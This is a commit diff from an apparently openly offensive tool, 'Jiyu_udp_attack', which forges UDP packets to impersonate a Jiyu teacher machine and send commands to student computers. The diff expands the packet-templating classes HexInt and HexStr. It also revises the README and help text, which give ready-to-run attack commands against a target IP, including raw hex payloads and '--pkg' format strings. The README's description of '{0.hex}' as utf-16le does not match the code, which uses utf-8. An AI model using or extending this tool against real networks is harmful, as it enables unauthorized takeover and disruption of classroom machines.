Skip to content

Commit 2510d8b

Browse files
committed
refactor: Enhance HexInt and HexStr attribute access
1 parent 1c179ca commit 2510d8b

File tree

5 files changed

+46
-22
lines changed

5 files changed

+46
-22
lines changed

.pylintrc

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,3 @@
11
[MASTER]
22
py-version = 3.13
3-
disable = invalid-name, line-too-long, too-many-locals, too-many-arguments
3+
disable = invalid-name, line-too-long, too-many-locals, too-many-arguments, too-many-return-statements

Jiyu_udp_attack/__main__.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -92,7 +92,7 @@ def format_usage(self) -> str:
9292
" python Jiyu_udp_attack -t 192.168.106.100 -n hacker 1000\n"
9393
" python Jiyu_udp_attack -t 192.168.106.100 --hex 444d4f43000001002a020000\n"
9494
' python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{rand16.size_2}"\n'
95-
' python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0.little_4}" 1024\n'
95+
' python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0.int.little_4}" 1024\n'
9696
' python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0}{1.size_800}" 4d hello\n'
9797
" python Jiyu_udp_attack -t 192.168.106.100 --pkg test.txt 1024 hello\n",
9898
formatter_class=argparse.RawTextHelpFormatter,

Jiyu_udp_attack/packet.py

Lines changed: 26 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,8 @@
22
This module is used to forge Jiyu UDP packets.
33
"""
44

5+
from __future__ import annotations
6+
57
import binascii
68
import secrets
79

@@ -242,12 +244,22 @@ def __init__(self, value: int = 0):
242244
raise ValueError("Value must be a non-negative integer")
243245
self.value = value
244246

245-
def __getattr__(self, name: str) -> str:
247+
def __getattr__(self, name: str) -> HexStr | HexInt:
246248
try:
247249
if name.startswith("little_"):
248-
return self.value.to_bytes(int(name[7:]), "little").hex()
250+
return HexStr(self.value.to_bytes(int(name[7:]), "little").hex())
249251
if name.startswith("big_"):
250-
return self.value.to_bytes(int(name[4:]), "big").hex()
252+
return HexStr(self.value.to_bytes(int(name[4:]), "big").hex())
253+
if name.startswith("add_"):
254+
return HexInt(self.value + int(name[4:]))
255+
if name.startswith("sub_"):
256+
return HexInt(self.value - int(name[4:]))
257+
if name.startswith("mul_"):
258+
return HexInt(self.value * int(name[4:]))
259+
if name.startswith("div_"):
260+
return HexInt(self.value // int(name[4:]))
261+
if name.startswith("mod_"):
262+
return HexInt(self.value % int(name[4:]))
251263
except ValueError:
252264
pass
253265

@@ -268,10 +280,18 @@ class HexStr:
268280
def __init__(self, value: str = ""):
269281
self.value = str(value)
270282

271-
def __getattr__(self, name: str) -> str:
283+
def __getattr__(self, name: str) -> HexStr | HexInt:
272284
try:
285+
if name == "len":
286+
return HexInt(len(self.value))
287+
if name == "hex":
288+
return HexStr(self.value.encode("utf-8").hex())
289+
if name == "int":
290+
return HexInt(int(self.value))
291+
if name.startswith("int_"):
292+
return HexInt(int(self.value, int(name[4:])))
273293
if name.startswith("size_"):
274-
return format_data(self.value, int(name[5:])).hex()
294+
return HexStr(format_data(self.value, int(name[5:])).hex())
275295
except ValueError:
276296
pass
277297

@@ -295,11 +315,4 @@ def pkg_customize(format_str: str, *args: str) -> bytes:
295315
Returns:
296316
bytes: The packaged command as a byte array, including a header and formatted data.
297317
"""
298-
user_args = []
299-
for arg in args:
300-
try:
301-
user_args.append(HexInt(int(arg)))
302-
except ValueError:
303-
user_args.append(HexStr(arg))
304-
305-
return binascii.unhexlify(format_str.format(*user_args, rand16=rand16))
318+
return binascii.unhexlify(format_str.format(*map(HexStr, args), rand16=rand16))

README.md

Lines changed: 17 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -86,7 +86,7 @@ Example usage:
8686
python Jiyu_udp_attack -t 192.168.106.100 -n hacker 1000
8787
python Jiyu_udp_attack -t 192.168.106.100 --hex 444d4f43000001002a020000
8888
python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{rand16.size_2}"
89-
python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0.little_4}" 1024
89+
python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0.int.little_4}" 1024
9090
python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0}{1.size_800}" 4d hello
9191
python Jiyu_udp_attack -t 192.168.106.100 --pkg test.txt 1024 hello
9292
```
@@ -110,21 +110,32 @@ Example usage:
110110

111111
`--pkg` 用于发送格式化的数据包,可以指定参数,首个参数作为格式化字符串,其余参数被应用于字符串的格式化。格式化字符串的内容为 16 进制编码的数据包,因此需要保证应用格式化后字符串为合法的 16 进制编码串。
112112

113-
处理时使用了自定义的类型包装参数,如果一个参数可以解释为十进制数,则它的类型为 `int`,否则为 `str`;此外,还定义了 `rand16` 作为可用变量。
113+
处理时使用了自定义的类型包装参数,定义了 `HexInt``HexStr` 两个类型,输入的参数均作为 `HexStr`;此外,还定义了 `rand16` 作为可用变量。
114114

115115
目前支持的属性包括(以位置 `0` 为例):
116116

117-
- `int`
117+
- `HexInt`
118118
+ `{0}`:直接输出十进制数字,无前导零。
119119
+ `{0.big_<size>}`:将数转为 `<size>` 位字节,大端序编码;
120-
+ `{0.little_<size>}`:将数转为 `<size>` 位字节,小端序编码。
121-
- `str`
120+
+ `{0.little_<size>}`:将数转为 `<size>` 位字节,小端序编码;
121+
+ `{0.add_<value>}`:将数加 `<value>`
122+
+ `{0.sub_<value>}`:将数减 `<value>`,请注意 `HexInt` 不支持负数;
123+
+ `{0.mul_<value>}`:将数乘 `<value>`
124+
+ `{0.div_<value>}`:将数整除 `<value>`
125+
+ `{0.mod_<value>}`:将数对 `<value>` 取模。
126+
- `HexStr`
122127
+ `{0}`:直接输出字符串本身,因此此时应保证字符串为 16 进制码;
123-
+ `{0.size_<size>}`:将字符串转化为 `utf-16le` 编码,并填充 `\x00``<size>` 位。
128+
+ `{0.len}`:返回字符串的长度;
129+
+ `{0.hex}`:将字符串转化为 `utf-16le` 编码;
130+
+ `{0.int}`:将字符串解释为数;
131+
+ `{0.int_<base>}`:将字符串解释为 `<base>` 进制数;
132+
+ `{0.size_<size>}`:将字符串转化为 `utf-16le` 编码,并填充 `\x00``<size>` 位,若超过 `<size>` 位则报错。
124133
- `rand16`
125134
+ `{rand16}`:生成一个随机字节;
126135
+ `{rand16.size_<size>}`:生成 `<size>` 个随机字节。
127136

137+
注意,`rand16` 的返回值为 `str`,而非 `HexStr`
138+
128139
## Jiyu API
129140

130141
记录抓包得到的极域 udp 包格式。

pyproject.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[project]
22
name = "Jiyu-udp-attack"
3-
version = "0.6.0"
3+
version = "1.0.0"
44
description = "Send packets to student machines disguised as Jiyu teacher machine"
55
authors = [{ name = "weilycoder", email = "[email protected]" }]
66
license = "MIT"

0 commit comments

Comments
 (0)